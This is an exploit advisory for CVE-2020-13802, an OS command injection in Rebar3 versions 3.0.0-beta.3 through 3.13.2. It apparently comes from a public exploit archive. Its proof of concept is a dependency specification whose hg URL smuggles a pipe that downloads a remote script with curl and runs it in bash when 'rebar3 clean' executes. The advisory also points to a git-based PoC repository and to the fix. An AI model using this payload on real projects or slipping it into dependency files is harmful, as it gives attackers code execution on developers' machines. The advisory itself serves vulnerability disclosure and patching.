Rebar3 3.13.2 Command Injection

Rebar3 versions 3.0.0-beta.3 through 3.13.2 suffer from a command injection vulnerability.


MD5 | 8127fb63c3513575f8e1080b8847e3ce

# Exploit Title: Rebar3 - OS command injection
# Date: 2020-06-03
# Exploit Author: Alexey Pronin (vulnbe)
# Vendor Homepage: https://rebar3.org
# Software Link: https://github.com/erlang/rebar3
# Versions affected: 3.0.0-beta.3 - 3.13.2
# CVE: CVE-2020-13802

1. Description:
----------------------

Rebar3 versions 3.0.0-beta.3 to 3.13.2 are vulnerable to OS command injection via URL parameter of dependency specification.

2. Proof of Concept:
----------------------

* Add dependency with any of the following specification:

{
'dephelper', ".*", {
hg, "https://github.com/vulnbe/poc-rebar3-helper.git?repo=main&threadId=19:42[email protected]&ctx=channel|curl\t-fsSL\thttps://gist.githubusercontent.com/vulnbe/6e5ec8fae3bdbee8e5f11f15c1462e48/raw/94616f0ee52935fda458c889d6f686958c79a2c8/poc.sh|bash\t-|git\tclone\thttps://github.com/vulnbe/poc-rebar3-helper.git",
"dephelper"}
}

or

{
'poc_rebar3', ".*", {
git, "https://github.com/vulnbe/poc-rebar3.git"
}
}

* Execute command: rebar3 clean

References
----------------------
* [Rebar3 vulnerability analysis](https://vuln.be/post/rebar3-command-injection/)
* [POC](https://github.com/vulnbe/poc-rebar3.git)
* [Vulnerability remediation PR](https://github.com/erlang/rebar3/pull/2302)
* [CVE-2020-13802](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13802)

Related Posts